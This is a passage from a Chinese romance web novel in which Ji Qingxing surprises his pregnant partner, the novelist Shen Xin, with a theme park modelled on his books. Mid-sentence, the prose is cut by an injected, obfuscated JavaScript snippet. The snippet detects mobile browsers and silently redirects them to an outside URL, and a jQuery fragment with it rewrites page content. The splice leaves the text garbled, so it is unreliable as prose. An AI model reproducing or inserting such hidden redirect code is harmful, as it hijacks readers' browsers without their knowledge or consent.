纪轻行没有立刻揭晓答案,停了车,把沈昕扶出来,牵着他走向一块地皮。 沈昕向四处看。 好像是要建个……游乐场?还是商业综合体?又好像是……人造景区? “这是你公司的地盘?”他忍不住问。 “嗯,第一期建设刚结束。”纪轻行道,“你觉得像吗?” “像什么?” “你仔细看。” 沈昕:? “看什么?”他现在有点儿懵。 “就是仔细看嘛,整体、细节,看看有没有熟悉感,一眼不好看出全局的话,我这里有图。”纪轻行拿出手机找出图片。 沈昕接过手机蹙眉片刻,抬头再看周围,再看手机,猛地双眼睁大,表情完全变了。 纪轻行舒心笑道:“终于看出来了,怎么样?沉老师,欢迎提意见。” 沈昕的心跳加快了。 双手和嘴唇甚至开始发抖。 这里是按他正在写的那本历史题材定制作品打造的实景! 他多少明白了,又不敢立刻确认,便小心翼翼地问:“这是影城吗?拍电影拍剧就在这里拍?” 纪轻行摇摇头:“这是属于你的主题乐园,复刻作品的世界观和名场景,加入观光、游戏和剧情体验元素,把你的作品搬到现实中,让每一个人都有机会前来参与,沉浸享受。按照计划,定制作品是首推园区,最迟一年半以后开放,运营得好,就会在周边继续建设以你其他作品为主题的园区,可以是你之前的作品,也可以是未来的新作品,最好能在这里打造成几个不同的背景,比如定制作品是历史题材,旁边是现代都市题材、未来幻想题材。” 沈昕:! 他的心跳随着纪轻行的话语怦怦作响,不断加快,手指、嘴唇和牙齿不再颤抖,而是几乎发麻了。 他知道纪轻行工作很忙,但不知道具体都在忙些什么; 他知道文化、旅游、娱乐综合板块是纪轻行这两年拓展的重点,知道跟他合作的项目是主力项目,但他不知道除了写小说、写剧本,转化为影视、动漫、游戏成为IP这一套操作之外,居然还可以…… 他更加不知道,在不知不觉间,纪轻行想了这么多、做了这么多,把他脑内的世界变成…… “影视化是另一条路子。”纪轻行仿佛能听到他的心声,“你明白的,影视、游戏之类衍生作品和原作之间有距离,这个距离时常还很难把控,但主题乐园不一样,它可以精准复刻,你怎么想,它就怎么呈现。昕昕,这是我你老公送给你的礼物,也是我作为读者对沉心老师您献上的敬意。它会一直在这里,而且只要你还在写,它就能不断扩大。它是你写作生命的具象。” 沈昕:!!! 他词穷了。 作为小说家,现在却一句话都说不出来。 所有感官仿佛封闭,但又好像是因为过于敏感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14970970|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接收的信息和情绪太多,以至于整个脑袋里只有强烈的轰隆声,身体彻底失灵。 纪轻行还在看着他笑。 自信满满、得意洋洋,仿佛在说一些非常土的霸总专属句子,比如—— “男人,满意你看到的么?” “爱卿,这是朕为你打下的江山。” “我要让全世界知道,这个乐园被你包了。” 很土,但也真地的… 很感动。 非常非常感动。 面前纪轻行落在他脸上的炽热目光,像带了追踪功能的射线,穿过他的身体,缠住供血器官,一下一下地将他的生命与呼吸牢牢控住。 即将窒息的时候,纪轻行握住他的手,有点儿无奈地说:“昕昕,我说了那么多,你呢?你难道都没话对我说吗?” 像是一直期待着被夸,可是等啊等啊等不到,他急了,且委屈。 沈昕抬起头来,用几乎通红的眼睛看着纪轻行。 这家伙先前说的没错,他确实很不浪漫,在这样的时刻,居然想不到什么动人心弦的句子。 “谢谢你,我……很喜欢。”他吞吞吐吐的,“可是,你刚才说,如果运营得好就扩建,那也就是说,还可能运营得不好,如果大家都不买账,没有人来,那么……” 嘴巴再次不受控制。 他一边在心里自责为什么要说这些扫兴的一边停不下来,可纪轻行似乎并没觉得不妥。 反而笑得更开心了,握着他手掌的力度加重,躬身刮了下他的鼻尖,说:“没错,确实有这种可能,所以沉老师,你老公我这次能不能赚到钱,甚至说,世纪集团这几年的拓展路线能不能顺利走下去,全靠你了。你要努力啊,要好好写,写个惊天大作出来。” 沈昕:!!!!!! 下意识的,他以为纪轻行又在胡说八道。 可对上那双深邃的眼睛就明白,他没有开玩笑,他是认真的。 他相信自己,的的确确赌上了未来。 沈昕郑重地吞咽了一下。 “你为什么跟我说这些?不怕我有压力?尤其我现在快生了,本来就压力大,你就不怕说完以后我承受不了,万一早产或者难产……” “你终于承认自己压力大了?”纪轻行轻飘飘道。 沈昕一愣。 “我原本的确没想这么早告诉你,因为这才第一期建设嘛,我想等建设得再充分一些,给你更大、更直观的惊喜,但是……” 他疼惜地摸了摸沈昕的脸。 “恰恰是因为知道你现在被咱们的小家伙折磨得神经兮兮,所以给你换换压力。而来源于写作上的压力,作为你这些年来的榜一大哥、灵魂知己,我清清楚楚地知道你根本不会怕,你只会把它们转化为强大的动力。沉心老师,你在我心里是神一般的存在,是最最厉害的。” 沈昕:!!!!!!!!! 如此迂回曲折,茫然而又惊喜,他终于明白了纪轻行的心意。 也确确实实被他影响,觉得沉重无比的身躯陡然变轻。 似乎不那么紧绷,不那么焦虑了。